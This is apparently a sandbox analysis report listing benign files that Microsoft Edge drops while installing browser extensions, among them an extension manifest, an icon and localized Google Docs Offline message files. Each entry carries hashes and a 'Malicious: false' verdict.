MD5:	E805E9E69FD6ECDCA65136957B1FB3BE
SHA1:	2356F60884130C86A45D4B232A26062C7830E622
SHA-256:	5694C91F7D165C6F25DAF0825C18B373B0A81EA122C89DA60438CD487455FD6A
SHA-512:	049662EF470D2B9E030A06006894041AE6F787449E4AB1FBF4959ADCB88C6BB87A957490212697815BB3627763C01B7B243CF4E3C4620173A95795884D998A75
Malicious:	false
Preview:	{.. "content_scripts": [ {.. "js": [ "content.js" ],.. "matches": [ "https://chrome.google.com/webstore/" ].. }, {.. "js": [ "content_new.js" ],.. "matches": [ "https://chromewebstore.google.com/" ].. } ],.. "description": "Edge relevant text changes on select websites to improve user experience and precisely surfaces the action they want to take.",.. "key": "MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAu06p2Mjoy6yJDUUjCe8Hnqvtmjll73XqcbylxFZZWe+MCEAEK+1D0Nxrp0+IuWJL02CU3jbuR5KrJYoezA36M1oSGY5lIF/9NhXWEx5GrosxcBjxqEsdWv/eDoOOEbIvIO0ziMv7T1SUnmAA07wwq8DXWYuwlkZU/PA0Mxx0aNZ5+QyMfYqRmMpwxkwPG8gyU7kmacxgCY1v7PmmZo1vSIEOBYrxl064w5Q6s/dpalSJM9qeRnvRMLsszGY/J2bjQ1F0O2JfIlBjCOUg/89+U8ZJ1mObOFrKO4um8QnenXtH0WGmsvb5qBNrvbWNPuFgr2+w5JYlpSQ+O8zUCb8QZwIDAQAB",.. "manifest_version": 3,.. "name": "Edge relevant text changes",.. "update_url": "https://edge.microsoft.com/extensionwebstorebase/v1/crx",.. "version": "1.2.1"..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\018b6392-294a-42f9-945a-1b9ed7784372.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	Google Chrome extension, version 3
Category:	dropped
Size (bytes):	135771
Entropy (8bit):	7.802585890890899
Encrypted:	false
SSDEEP:	3072:LtlntxI0jRnnf4pTz8IayMaCRABlauflM+u0F/oWRW:pl4+hf4pTky1EABYufNFS4W
MD5:	DA75BB05D10ACC967EECAAC040D3D733
SHA1:	95C08E067DF713AF8992DB113F7E9AEC84F17181
SHA-256:	33AE9B8F06DC777BB1A65A6BA6C3F2A01B25CD1AFC291426B46D1DF27EA6E7E2
SHA-512:	56533DE53872F023809A20D1EA8532CDC2260D40B05C5A7012C8E61576FF092F006A197F759C92C6B8C429EEEC4BB542073B491DDCFD5B22CD4ECBE1A8A7C6EF
Malicious:	false
Preview:	Cr24..............0.."0....H.............0.........^...1"...w.g..t..2J.G1.)X4..=&.?[j,Lz..j.u.e[I.qBa/X...P.h..L.....2%3_o.......H.)'.=.e...?.......j..3UH.\|.X.M..u..s[...?$....F%....I....)..,-./.e5).f..O.q.^........9..(.._.ph2..^.YBPXf_8....h[.v...S.1`.#..5.SF.:f-.#.65.i..b.]9...y2.'....k[...........=.B.../EYp....i:........ua....w...\H.j....b....4...l.b.:u.%1z....}L.A.F.IZ.2^.j...!F.&@;L..z...02..`:J_@....m....qcQ.\|sD.r`vC.#.8lm...R.8.~A...."~)".[.M...o.a.H.$..(.d/.K.6......c........#.$..>.#..3..-...n4J.$-....N...s.G...3..q.e..(.B?."...9M......[0Y0....H.=....*.H.=....B..............r...2..+Y.I...k..bR.j5Sl..8.......H"i.-l..`.Q.{...H0F.!..w./B..$<......r-.'..xp.H..Q...8.!..R^...%..W0....q....g.D..~.".%............mo.:......<#a..e...Chp...x4z....!.!.a...qgo....p8.T.6...Z....?..CV...<..K...?....k..........q=....Y^........!..K...G...m.n..Y.Y.......u.Wf...TO".?.......U/Rd..Y....j....H..Q...{.....x.OQ.~+}...L.9_.:.,E.....q.0&...I;b..H...>...9.}.B

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\128.png

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	PNG image data, 128 x 128, 8-bit/color RGBA, non-interlaced
Category:	dropped
Size (bytes):	4982
Entropy (8bit):	7.929761711048726
Encrypted:	false
SSDEEP:	96:L7Rf7U1ylWb3KfyEfOXE+PIcvBirQFiAql1ZwKREkXCSAk:pTvWqfD+gl0sAql1u7kySAk
MD5:	913064ADAAA4C4FA2A9D011B66B33183
SHA1:	99EA751AC2597A080706C690612AEEEE43161FC1
SHA-256:	AFB4CE8882EF7AE80976EBA7D87F6E07FCDDC8E9E84747E8D747D1E996DEA8EB
SHA-512:	162BF69B1AD5122C6154C111816E4B87A8222E6994A72743ED5382D571D293E1467A2ED2FC6CC27789B644943CF617A56DA530B6A6142680C5B2497579A632B5
Malicious:	false
Preview:	.PNG........IHDR..............>a....=IDATx..]}...U..;...O.Q..QH.I(....v..E....GUb..R[.4@%..hK..B..(.B..". ....&)U#.%...jZ...JC.8.....{.cfvgf.3;.....}ow.....{...P.B...T.P.B...*Tx...=.Q..wv.w.....\|.e.1.$.P.?..l_\.n.}...~.g.....Q...A.f....m.....{,...C2 %..X.......FE.1.N..f...Q..D.K87.....:g..Q.{............3@$.8.....{.....q....G.. .....5..y......)XK..F...D.......... ."8...J#.eM.i....H.E.....a.RIP.`......)..T.....! .[p`X.`..L.a....e. .T..2.....H..p$..02...j....\..........s{...Ymm~.a........f.$./.[.{..C.2:.0..6..]....`....NW.....0..o.T..$;k.2......_...k..{,.+........{..6...L..... .dw...l$..}...K...EV....0......P...e....k....+Go....qw.9.1...X2\..qfw0v.....N...{...l.."....f.A..I..+#.v....'..~E.N-k.........{...l.$..ga..1...$......x$X=}.N..S..B$p..`..`.ZG:c..RA.(.0......Gg.A.I..>...3u.u........_..KO.m.........C...,..c.......0...@_..m...-..7.......4LZ......j@.......\..'....u. QJ.:G..I`.w'B0..w.H..'b.0- ......\|..}./.....e..,.K.1........W.u.v. ...\.o

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\af\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	908
Entropy (8bit):	4.512512697156616
Encrypted:	false
SSDEEP:	12:1HASvgMTCBxNB+kCIww3v+BBJ/wjsV8lCBxeBeRiGTCSU8biHULaBg/4srCBhUJJ:1HAkkJ+kCIwEg/wwbw0PXa22QLWmSDg
MD5:	12403EBCCE3AE8287A9E823C0256D205
SHA1:	C82D43C501FAE24BFE05DB8B8F95ED1C9AC54037
SHA-256:	B40BDE5B612CFFF936370B32FB0C58CC205FC89937729504C6C0B527B60E2CBA
SHA-512:	153401ECDB13086D2F65F9B9F20ACB3CEFE5E2AEFF1C31BA021BE35BF08AB0634812C33D1D34DA270E5693A8048FC5E2085E30974F6A703F75EA1622A0CA0FFD
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SKEP NUWE".. },.. "explanationofflinedisabled": {.. "message": "Jy is vanlyn. As jy Google Dokumente sonder 'n internetverbinding wil gebruik, moet jy die volgende keer as jy aan die internet gekoppel is na instellings op die Google Dokumente-tuisblad gaan en vanlynsinkronisering aanskakel.".. },.. "explanationofflineenabled": {.. "message": "Jy is vanlyn, maar jy kan nog steeds beskikbare l.ers redigeer of nuwes skep.".. },.. "extdesc": {.. "message": "Skep, wysig en bekyk jou dokumente, sigblaaie en aanbiedings . alles sonder toegang tot die internet.".. },.. "extname": {.. "message": "Google Vanlyn Dokumente".. },.. "learnmore": {.. "message": "Kom meer te wete".. },.. "popuphelptext": {.. "message": "Skryf, redigeer en werk saam, waar jy ook al is, met of sonder 'n internetverbinding.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\am\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1285
Entropy (8bit):	4.702209356847184
Encrypted:	false
SSDEEP:	24:1HAn6bfEpxtmqMI91ivWjm/6GcCIoToCZzlgkX/Mj:W6bMt3MITFjm/Pcd4oCZhg6k
MD5:	9721EBCE89EC51EB2BAEB4159E2E4D8C
SHA1:	58979859B28513608626B563138097DC19236F1F
SHA-256:	3D0361A85ADFCD35D0DE74135723A75B646965E775188F7DCDD35E3E42DB788E
SHA-512:	FA3689E8663565D3C1C923C81A620B006EA69C99FB1EB15D07F8F45192ED9175A6A92315FA424159C1163382A3707B25B5FC23E590300C62CBE2DACE79D84871
Malicious:	false
Preview:	{.. "createnew": {.. "message": "... ...".. },.. "explanationofflinedisabled": {.. "message": "..... .. .... Google ..... ........ ..... ..... .Google .... ... .. .. .. ..... .... ....... .. ....... ... .. .. ..... .. ..... ....".. },.. "explanationofflineenabled": {.. "message": "..... .. .... ... .. .... .... ..... .... ... ..... .... .....".. },.. "extdesc": {.. "message": "...... ..... .... ... .. ..... ...... ..... .... .. ..... . .... .. ...... .....".. },.. "extname": {.. "message": "..... .. Goog

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ar\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1244
Entropy (8bit):	4.5533961615623735
Encrypted:	false
SSDEEP:	12:1HASvgPCBxNhieFTr9ogjIxurIyJCCBxeh6wAZKn7uCSUhStuysUm+WCBhSueW1Y:1HAgJzoaC6VEn7Css8yoXzzd
MD5:	3EC93EA8F8422FDA079F8E5B3F386A73
SHA1:	24640131CCFB21D9BC3373C0661DA02D50350C15
SHA-256:	ABD0919121956AB535E6A235DE67764F46CFC944071FCF2302148F5FB0E8C65A
SHA-512:	F40E879F85BC9B8120A9B7357ED44C22C075BF065F45BEA42BD5316AF929CBD035D5D6C35734E454AEF5B79D378E51A77A71FA23F9EBD0B3754159718FCEB95C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "..... ....".. },.. "explanationofflinedisabled": {.. "message": "... ... ...... ........ ....... Google ... ..... .......... ..... ... ......... .. ...... ........ ........ Google ..... ........ ... ..... .. ..... ....... .... .... .... ..........".. },.. "explanationofflineenabled": {.. "message": "... ... ...... .... .. .... ....... ..... ....... ....... .. ..... ..... ......".. },.. "extdesc": {.. "message": "..... ......... ...... ........ ....... ......... ........ ....... .. ... ... ..... .........".. },.. "extname": {.. "message": "....... Google ... ......".. },.. "learnmore": {.. "messa

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\az\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	977
Entropy (8bit):	4.867640976960053
Encrypted:	false
SSDEEP:	24:1HAWNjbwlmyuAoW32Md+80cVLdUSERHtRo3SjX:J3wlzs42m+8TV+S4H0CjX
MD5:	9A798FD298008074E59ECC253E2F2933
SHA1:	1E93DA985E880F3D3350FC94F5CCC498EFC8C813
SHA-256:	628145F4281FA825D75F1E332998904466ABD050E8B0DC8BB9B6A20488D78A66
SHA-512:	9094480379F5AB711B3C32C55FD162290CB0031644EA09A145E2EF315DA12F2E55369D824AF218C3A7C37DD9A276AEEC127D8B3627D3AB45A14B0191ED2BBE70
Malicious:	false
Preview:	{.. "createnew": {.. "message": "YEN.S.N. YARADIN".. },.. "explanationofflinedisabled": {.. "message": "Oflayns.n.z. Google S.n.di internet ba.lant.s. olmadan istifad. etm.k ist.yirsinizs., Google S.n.din .sas s.hif.sind. ayarlara gedin v. n.vb.ti d.f. internet. qo.ulanda oflayn sinxronizasiyan. aktiv edin.".. },.. "explanationofflineenabled": {.. "message": "Oflayns.n.z, amma m.vcud fayllar. redakt. ed. v. yenil.rini yarada bil.rsiniz.".. },.. "extdesc": {.. "message": "S.n.d, c.dv.l v. t.qdimatlar.n ham.s.n. internet olmadan redakt. edin, yarad.n v. bax.n.".. },.. "extname": {.. "message": "Google S.n.d Oflayn".. },.. "learnmore": {.. "message": ".trafl. M.lumat".. },.. "popuphelptext": {.. "message": "Harda olma..n.zdan v. internet. qo.ulu olub-olmad...n.zdan as.l. olmayaraq, yaz.n, redakt. edin v. .m.kda.l.q edin.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\be\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3107
Entropy (8bit):	3.535189746470889
Encrypted:	false
SSDEEP:	48:YOWdTQ0QRk+QyJQAy6Qg4QWSe+QECTQLHQlQIfyQ0fnWQjQDrTQik+QvkZTQ+89b:GdTbyRvwgbCTEHQhyVues9oOT3rOCkV
MD5:	68884DFDA320B85F9FC5244C2DD00568
SHA1:	FD9C01E03320560CBBB91DC3D1917C96D792A549
SHA-256:	DDF16859A15F3EB3334D6241975CA3988AC3EAFC3D96452AC3A4AFD3644C8550
SHA-512:	7FF0FBD555B1F9A9A4E36B745CBFCAD47B33024664F0D99E8C080BE541420D1955D35D04B5E973C07725573E592CD0DD84FDBB867C63482BAFF6929ADA27CCDE
Malicious:	false
Preview:	{"createnew":{"message":"\u0421\u0422\u0412\u0410\u0420\u042b\u0426\u042c \u041d\u041e\u0412\u042b"},"explanationofflinedisabled":{"message":"\u0412\u044b \u045e \u043f\u0430\u0437\u0430\u0441\u0435\u0442\u043a\u0430\u0432\u044b\u043c \u0440\u044d\u0436\u044b\u043c\u0435. \u041a\u0430\u0431 \u043a\u0430\u0440\u044b\u0441\u0442\u0430\u0446\u0446\u0430 \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u043c\u0456 Google \u0431\u0435\u0437 \u043f\u0430\u0434\u043a\u043b\u044e\u0447\u044d\u043d\u043d\u044f \u0434\u0430 \u0456\u043d\u0442\u044d\u0440\u043d\u044d\u0442\u0443, \u043f\u0435\u0440\u0430\u0439\u0434\u0437\u0456\u0446\u0435 \u0434\u0430 \u043d\u0430\u043b\u0430\u0434 \u043d\u0430 \u0433\u0430\u043b\u043e\u045e\u043d\u0430\u0439 \u0441\u0442\u0430\u0440\u043e\u043d\u0446\u044b \u0414\u0430\u043a\u0443\u043c\u0435\u043d\u0442\u0430\u045e Google \u0456 \u045e\u043a\u043b\u044e\u0447\u044b\u0446\u0435 \u0441\u0456\u043d\u0445\u0440\u0430\u043d\u0456\u0437\u0430\u0446\u044b\u044e

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\bg\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1389
Entropy (8bit):	4.561317517930672
Encrypted:	false
SSDEEP:	24:1HAp1DQqUfZ+Yann08VOeadclUZbyMzZzsYvwUNn7nOyRK8/nn08V7:g1UTfZ+Ya08Uey3tflCRE08h
MD5:	2E6423F38E148AC5A5A041B1D5989CC0
SHA1:	88966FFE39510C06CD9F710DFAC8545672FFDCEB
SHA-256:	AC4A8B5B7C0B0DD1C07910F30DCFBDF1BCB701CFCFD182B6153FD3911D566C0E
SHA-512:	891FCDC6F07337970518322C69C6026896DD3588F41F1E6C8A1D91204412CAE01808F87F9F2DEA1754458D70F51C3CEF5F12A9E3FC011165A42B0844C75EC683
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".........".. },.. "explanationofflinedisabled": {.. "message": "...... .... .. .. .......... Google ......... ... ........ ......, ........ ........... . ......... ........ .. Google ......... . ........ ...... .............. ......... ..., ...... ..... ...... . .........".. },.. "explanationofflineenabled": {.. "message": "...... ..., .. ... ...... .. ........... ......... ....... ... .. ......... .....".. },.. "extdesc": {.. "message": "............, .......... . ............ ...... ........., .......... ....... . ........... . ...... .... ... ...... .. .........".. },..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\bn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1763
Entropy (8bit):	4.25392954144533
Encrypted:	false
SSDEEP:	24:1HABGtNOtIyHmVd+q+3X2AFl2DhrR7FAWS9+SMzI8QVAEq8yB0XtfOyvU7D:oshmm/+H2Ml2DrFPS9+S99EzBd7D
MD5:	651375C6AF22E2BCD228347A45E3C2C9
SHA1:	109AC3A912326171D77869854D7300385F6E628C
SHA-256:	1DBF38E425C5C7FC39E8077A837DF0443692463BA1FBE94E288AB5A93242C46E
SHA-512:	958AA7CF645FAB991F2ECA0937BA734861B373FB1C8BCC001599BE57C65E0917F7833A971D93A7A6423C5F54A4839D3A4D5F100C26EFA0D2A068516953989F9D
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ....".. },.. "explanationofflinedisabled": {.. "message": ".... ....... ....... .... ......... ..... ..... Google ........ ....... ...., Google .......... ........ ....... ... ... .... ... .... ... ........... .... ....... .... ... ...... ..... .... .....".. },.. "explanationofflineenabled": {.. "message": ".... ....... ......, ...... .... .... ...... .......... ........ .... .. .... .... .... .... .......".. },.. "extdesc":

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\ca\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	930
Entropy (8bit):	4.569672473374877
Encrypted:	false
SSDEEP:	12:1HASvggoSCBxNFT0sXuqgEHQ2fTq9blUJYUJaw9CBxejZFPLOjCSUuE44pMiiDat:1HAtqs+BEHGpURxSp1iUPWCAXtRKe
MD5:	D177261FFE5F8AB4B3796D26835F8331
SHA1:	4BE708E2FFE0F018AC183003B74353AD646C1657
SHA-256:	D6E65238187A430FF29D4C10CF1C46B3F0FA4B91A5900A17C5DFD16E67FFC9BD
SHA-512:	E7D730304AED78C0F4A78DADBF835A22B3D8114FB41D67B2B26F4FE938B572763D3E127B7C1C81EBE7D538DA976A7A1E7ADC40F918F88AFADEA2201AE8AB47D0
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA'N UN DE NOU".. },.. "explanationofflinedisabled": {.. "message": "No tens connexi.. Per utilitzar Documents de Google sense connexi. a Internet, ves a la configuraci. de la p.gina d'inici d'aquest servei i activa l'opci. per sincronitzar-se sense connexi. la propera vegada que estiguis connectat a la xarxa.".. },.. "explanationofflineenabled": {.. "message": "Tot i que no tens connexi., pots editar o crear fitxers.".. },.. "extdesc": {.. "message": "Edita, crea i consulta documents, fulls de c.lcul i presentacions, tot sense acc.s a Internet.".. },.. "extname": {.. "message": "Documents de Google sense connexi.".. },.. "learnmore": {.. "message": "M.s informaci.".. },.. "popuphelptext": {.. "message": "Escriu text, edita fitxers i col.labora-hi siguis on siguis, amb o sense connexi. a Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\cs\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	913
Entropy (8bit):	4.947221919047
Encrypted:	false
SSDEEP:	12:1HASvgdsbCBxNBmobXP15Dxoo60n40h6qCBxeBeGG/9jZCSUKFPDLZ2B2hCBhPLm:1HApJmoZ5e50nzQhwAd7dvYB2kDSGGKs
MD5:	CCB00C63E4814F7C46B06E4A142F2DE9
SHA1:	860936B2A500CE09498B07A457E0CCA6B69C5C23
SHA-256:	21AE66CE537095408D21670585AD12599B0F575FF2CB3EE34E3A48F8CC71CFAB
SHA-512:	35839DAC6C985A6CA11C1BFF5B8B5E59DB501FCB91298E2C41CB0816B6101BF322445B249EAEA0CEF38F76D73A4E198F2B6E25EEA8D8A94EA6007D386D4F1055
Malicious:	false
Preview:	{.. "createnew": {.. "message": "VYTVO.IT".. },.. "explanationofflinedisabled": {.. "message": "Jste offline. Pokud chcete Dokumenty Google pou..vat bez p.ipojen. k.internetu, a. budete p...t. online, p.ejd.te do nastaven. na domovsk. str.nce Dokument. Google a.zapn.te offline synchronizaci.".. },.. "explanationofflineenabled": {.. "message": "Jste offline, ale st.le m..ete upravovat dostupn. soubory nebo vytv..et nov..".. },.. "extdesc": {.. "message": "Upravujte, vytv..ejte a.zobrazujte sv. dokumenty, tabulky a.prezentace . v.e bez p..stupu k.internetu.".. },.. "extname": {.. "message": "Dokumenty Google offline".. },.. "learnmore": {.. "message": "Dal.. informace".. },.. "popuphelptext": {.. "message": "Pi.te, upravujte a.spolupracujte kdekoli, s.p.ipojen.m k.internetu i.bez n.j.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\cy\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	806
Entropy (8bit):	4.815663786215102
Encrypted:	false
SSDEEP:	12:YGo35xMxy6gLr4Dn1eBVa1xzxyn1VFQB6FDVgdAJex9QH7uy+XJEjENK32J21j:Y735+yoeeRG54uDmdXx9Q7u3r83Xj
MD5:	A86407C6F20818972B80B9384ACFBBED
SHA1:	D1531CD0701371E95D2A6BB5EDCB79B949D65E7C
SHA-256:	A482663292A913B02A9CDE4635C7C92270BF3C8726FD274475DC2C490019A7C9
SHA-512:	D9FBF675514A890E9656F83572208830C6D977E34D5744C298A012515BC7EB5A17726ADD0D9078501393BABD65387C4F4D3AC0CC0F7C60C72E09F336DCA88DE7
Malicious:	false
Preview:	{"createnew":{"message":"CREU NEWYDD"},"explanationofflinedisabled":{"message":"Rydych chi all-lein. I ddefnyddio Dogfennau Google heb gysylltiad \u00e2'r rhyngrwyd, ewch i'r gosodiadau ar dudalen hafan Dogfennau Google a throi 'offine sync' ymlaen y tro nesaf y byddwch wedi'ch cysylltu \u00e2'r rhyngrwyd."},"explanationofflineenabled":{"message":"Rydych chi all-lein, ond gallwch barhau i olygu'r ffeiliau sydd ar gael neu greu rhai newydd."},"extdesc":{"message":"Gallwch olygu, creu a gweld eich dogfennau, taenlenni a chyflwyniadau \u2013 i gyd heb fynediad i'r rhyngrwyd."},"extname":{"message":"Dogfennau Google All-lein"},"learnmore":{"message":"DYSGU MWY"},"popuphelptext":{"message":"Ysgrifennwch, golygwch a chydweithiwch lle bynnag yr ydych, gyda chysylltiad \u00e2'r rhyngrwyd neu hebddo."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\da\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	883
Entropy (8bit):	4.5096240460083905
Encrypted:	false
SSDEEP:	24:1HA4EFkQdUULMnf1yo+9qgpukAXW9bGJTvDyqdr:zEFkegfw9qwAXWNs/yu
MD5:	B922F7FD0E8CCAC31B411FC26542C5BA
SHA1:	2D25E153983E311E44A3A348B7D97AF9AAD21A30
SHA-256:	48847D57C75AF51A44CBF8F7EF1A4496C2007E58ED56D340724FDA1604FF9195
SHA-512:	AD0954DEEB17AF04858DD5EC3D3B3DA12DFF7A666AF4061DEB6FD492992D95DB3BAF751AB6A59BEC7AB22117103A93496E07632C2FC724623BB3ACF2CA6093F3
Malicious:	false
Preview:	{.. "createnew": {.. "message": "OPRET NYT".. },.. "explanationofflinedisabled": {.. "message": "Du er offline. Hvis du vil bruge Google Docs uden en internetforbindelse, kan du g. til indstillinger p. startsiden for Google Docs og aktivere offlinesynkronisering, n.ste gang du har internetforbindelse.".. },.. "explanationofflineenabled": {.. "message": "Du er offline, men du kan stadig redigere tilg.ngelige filer eller oprette nye.".. },.. "extdesc": {.. "message": "Rediger, opret og se dine dokumenter, regneark og pr.sentationer helt uden internetadgang.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "F. flere oplysninger".. },.. "popuphelptext": {.. "message": "Skriv, rediger og samarbejd, uanset hvor du er, og uanset om du har internetforbindelse.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\de\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	4.621865814402898
Encrypted:	false
SSDEEP:	24:1HA6sZnqWd77ykJzCkhRhoe1HMNaAJPwG/p98HKpy2kX/R:WZqWxykJzthRhoQma+tpyHX2O/R
MD5:	D116453277CC860D196887CEC6432FFE
SHA1:	0AE00288FDE696795CC62FD36EABC507AB6F4EA4
SHA-256:	36AC525FA6E28F18572D71D75293970E0E1EAD68F358C20DA4FDC643EEA2C1C5
SHA-512:	C788C3202A27EC220E3232AE25E3C855F3FDB8F124848F46A3D89510C564641A2DFEA86D5014CEA20D3D2D3C1405C96DBEB7CCAD910D65C55A32FDCA8A33FDD4
Malicious:	false
Preview:	{.. "createnew": {.. "message": "NEU ERSTELLEN".. },.. "explanationofflinedisabled": {.. "message": "Sie sind offline. Um Google Docs ohne Internetverbindung zu verwenden, gehen Sie auf der Google Docs-Startseite auf \"Einstellungen\" und schalten die Offlinesynchronisierung ein, wenn Sie das n.chste Mal mit dem Internet verbunden sind.".. },.. "explanationofflineenabled": {.. "message": "Sie sind offline, aber k.nnen weiterhin verf.gbare Dateien bearbeiten oder neue Dateien erstellen.".. },.. "extdesc": {.. "message": "Mit der Erweiterung k.nnen Sie Dokumente, Tabellen und Pr.sentationen bearbeiten, erstellen und aufrufen.. ganz ohne Internetverbindung.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Weitere Informationen".. },.. "popuphelptext": {.. "message": "Mit oder ohne Internetverbindung: Sie k.nnen von .berall Dokumente erstellen, .ndern und zusammen mit anderen

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\el\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1613
Entropy (8bit):	4.618182455684241
Encrypted:	false
SSDEEP:	24:1HAJKan4EITDZGoziRAc2Z8eEfkTJfLhGX7b0UBNoAcGpVyhxefSmuq:SKzTD0IK85JlwsGOUyaSk
MD5:	9ABA4337C670C6349BA38FDDC27C2106
SHA1:	1FC33BE9AB4AD99216629BC89FBB30E7AA42B812
SHA-256:	37CA6AB271D6E7C9B00B846FDB969811C9CE7864A85B5714027050795EA24F00
SHA-512:	8564F93AD8485C06034A89421CE74A4E719BBAC865E33A7ED0B87BAA80B7F7E54B240266F2EDB595DF4E6816144428DB8BE18A4252CBDCC1E37B9ECC9F9D7897
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".......... ....".. },.. "explanationofflinedisabled": {.. "message": "..... ..... ......... ... .. ............... .. ....... Google ..... ....... ... ........., ......... .... ......... .... ...... ...... ... ........ Google ... ............. ... ........... ..... ........ ... ....... .... ... .. ..... ............ ... ..........".. },.. "explanationofflineenabled": {.. "message": "..... ..... ........ .... ........ .. .............. .. ......... ...... . .. ............. ... .......".. },.. "extdesc": {.. "message": ".............., ............ ... ..... .. ......., .

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\en\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREATE NEW".. },.. "explanationofflinedisabled": {.. "message": "You're offline. To use Google Docs without an internet connection, go to settings on the Google Docs homepage and turn on offline sync the next time you're connected to the internet.".. },.. "explanationofflineenabled": {.. "message": "You're offline, but you can still edit available files or create new ones.".. },.. "extdesc": {.. "message": "Edit, create, and view your documents, spreadsheets, and presentations . all without internet access.".. },.. "extname": {.. "message": "Google Docs Offline".. },.. "learnmore": {.. "message": "Learn More".. },.. "popuphelptext": {.. "message": "Write, edit, and collaborate wherever you are, with or without an internet connection.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir8116_966754804\CRX_INSTALL\_locales\en_CA\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	851
Entropy (8bit):	4.4858053753176526
Encrypted:	false
SSDEEP:	12:1HASvgg4eCBxNdN3Pj1NzXW6iFryCBxesJGceKCSUuvNn3AwCBhUufz1tHaXRdAv:1HA3dj/BNzXviFrpj4sNQXJezAa6
MD5:	07FFBE5F24CA348723FF8C6C488ABFB8
SHA1:	6DC2851E39B2EE38F88CF5C35A90171DBEA5B690
SHA-256:	6895648577286002F1DC9C3366F558484EB7020D52BBF64A296406E61D09599C
SHA-512:	7ED2C8DB851A84F614D5DAF1D5FE633BD70301FD7FF8A6723430F05F642CEB3B1AD0A40DE65B224661C782FFCEC69D996EBE3E5BB6B2F478181E9A07D8CD41F6
Malicious:	false
